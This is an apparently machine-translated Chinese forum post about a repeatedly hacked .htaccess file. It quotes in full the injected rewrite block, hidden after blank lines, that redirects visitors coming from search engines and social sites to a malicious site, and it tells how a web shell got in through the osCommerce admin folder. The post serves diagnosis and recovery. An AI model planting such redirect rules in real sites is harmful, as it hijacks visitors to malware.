.htaccess 被反復入侵
大約 4 或 5 天前,一位客戶回复我說他們的網站被從 Google、Yahoo 等重定向到其他一些看起來可疑的網站,但是當使用者在瀏覽器地址中輸入網站 URL 時,它工作正常直接貼吧。
我嘗試聯繫我的託管服務提供商,但起初他們幾乎沒有幫助,然後似乎需要很長時間才能找出問題所在。
由於等待而感到沮喪,我開始尋找發生了什麼。在Google上搜尋了一些解決方案後,我發現我的 .htaccess 文件被黑客入侵了。
什麼是:
<Files *> Header set Cache-Control: "private, pre-check=0, post-check=0, max-age=0" Header set Expires: 0 Header set Pragma: no-cache </Files>
已經變成
<Files *> Header set Cache-Control: "private, pre-check=0, post-check=0, max-age=0" Header set Expires: 0 Header set Pragma: no-cache </Files> //several hundred empty lines later RewriteEngine On RewriteCond %{HTTP_REFERER} .*google.* [OR] RewriteCond %{HTTP_REFERER} .*ask.* [OR] RewriteCond %{HTTP_REFERER} .*yahoo.* [OR] RewriteCond %{HTTP_REFERER} .*baidu.* [OR] RewriteCond %{HTTP_REFERER} .*youtube.* [OR] RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR] RewriteCond %{HTTP_REFERER} .*qq.* [OR] RewriteCond %{HTTP_REFERER} .*excite.* [OR] RewriteCond %{HTTP_REFERER} .*altavista.* [OR] RewriteCond %{HTTP_REFERER} .*msn.* [OR] RewriteCond %{HTTP_REFERER} .*netscape.* [OR] RewriteCond %{HTTP_REFERER} .*aol.* [OR] RewriteCond %{HTTP_REFERER} .*hotbot.* [OR] RewriteCond %{HTTP_REFERER} .*goto.* [OR] RewriteCond %{HTTP_REFERER} .*infoseek.* [OR] RewriteCond %{HTTP_REFERER} .*mamma.* [OR] RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR] RewriteCond %{HTTP_REFERER} .*lycos.* [OR] RewriteCond %{HTTP_REFERER} .*search.* [OR] RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR] RewriteCond %{HTTP_REFERER} .*bing.* [OR] RewriteCond %{HTTP_REFERER} .*dogpile.* [OR] RewriteCond %{HTTP_REFERER} .*facebook.* [OR] RewriteCond %{HTTP_REFERER} .*twitter.* [OR] RewriteCond %{HTTP_REFERER} .*blog.* [OR] RewriteCond %{HTTP_REFERER} .*live.* [OR] RewriteCond %{HTTP_REFERER} .*myspace.* [OR] RewriteCond %{HTTP_REFERER} .*mail.* [OR] RewriteCond %{HTTP_REFERER} .*yandex.* [OR] RewriteCond %{HTTP_REFERER} .*rambler.* [OR] RewriteCond %{HTTP_REFERER} .*ya.* [OR] RewriteCond %{HTTP_REFERER} .*aport.* [OR] RewriteCond %{HTTP_REFERER} .*linkedin.* [OR] RewriteCond %{HTTP_REFERER} .*flickr.* RewriteRule ^(.*)$ /*don't want to post the malicious URL here for fear of retaliation */[R=301,L]
基本上,入侵我的機器人似乎在寫指示,將來自重要站點的所有流量重定向到病毒站點。
我立即通過刪除令人反感的程式碼來修復它,並且對我聰明的自我感覺非常好。我還從公眾訪問的主文件夾中刪除了 .htaccess 文件,並將其保留在根目錄上方的一個文件夾中。我還將權限更改為 444,任何人都可以讀取。我將密碼更改為我的 FTP 訪問、我的主機控制面板、MySQL 數據庫等。
然而,今天這個問題又回來了。事實證明,我的 public_html 文件夾中安裝了一個新的 .htaccess 文件,它只有我上面寫的攻擊性程式碼,沒有別的。
這是怎麼回事?
我有一種感覺,這不是我的密碼被洩露的情況。我在共享主機上,也許同一個硬碟上的某個人寫了一段程式碼,用來向所有鄰居愉快地編寫 .htaccess 文件。這可能嗎?我能做些什麼來確保這種情況不再發生嗎?
不過,我無法重新安裝主機的主作業系統或對主機的主作業系統做任何事情……
我找到了蟑螂!
我做了所有事情,包括更改 FTP 密碼、託管面板密碼、(痛苦地)擦除整個 2GB 並將其全部上傳,以及更改數據庫密碼。
他們還是進去了。
FTP 日誌只顯示我自己的行為。最重要的是,
.htaccess
文件的 last-modified-timestamp 與我的時間戳完全相同(每當我從其重複的變態中糾正它時),因此無法知道何時以及如何進行修改。我猜他們正在使用filemtime()
並touch()
這樣做。事實證明,惡意文件是通過 osCommerce 安裝進入的。我不知道如何,但具體來說,它通過管理區域。在管理文件夾中,有這些名為“google_analitis(sic)_somenumber”的外部文件。我在我的主要統計閱讀器上註意到了它們。我剛剛查看了今天正在訪問的所有文件(正常日誌),幸運的是,該文件今天再次被黑客入侵。我懷疑有一個流氓腳本,你瞧,這些文件的文件名上都寫滿了垃圾郵件發送者的惡臭。
我打開它們,果然,它們做了很多惡作劇。
我剛剛使用 URL 打開了其中一個文件,我真的很驚訝這些文件提供的控制量……它是整個網站的並行控制面板!
希望這對某人有所幫助…查看您的第三方應用程序,尤其是當您看到大量未知機器人在您的網站上上下爬行時。
您的網站已被黑客入侵。您需要擦除它並從已知的良好備份中恢復。保留被黑站點及其日誌的副本,以便您可以將其與好的站點進行比較,並嘗試找出該站點是如何被入侵的。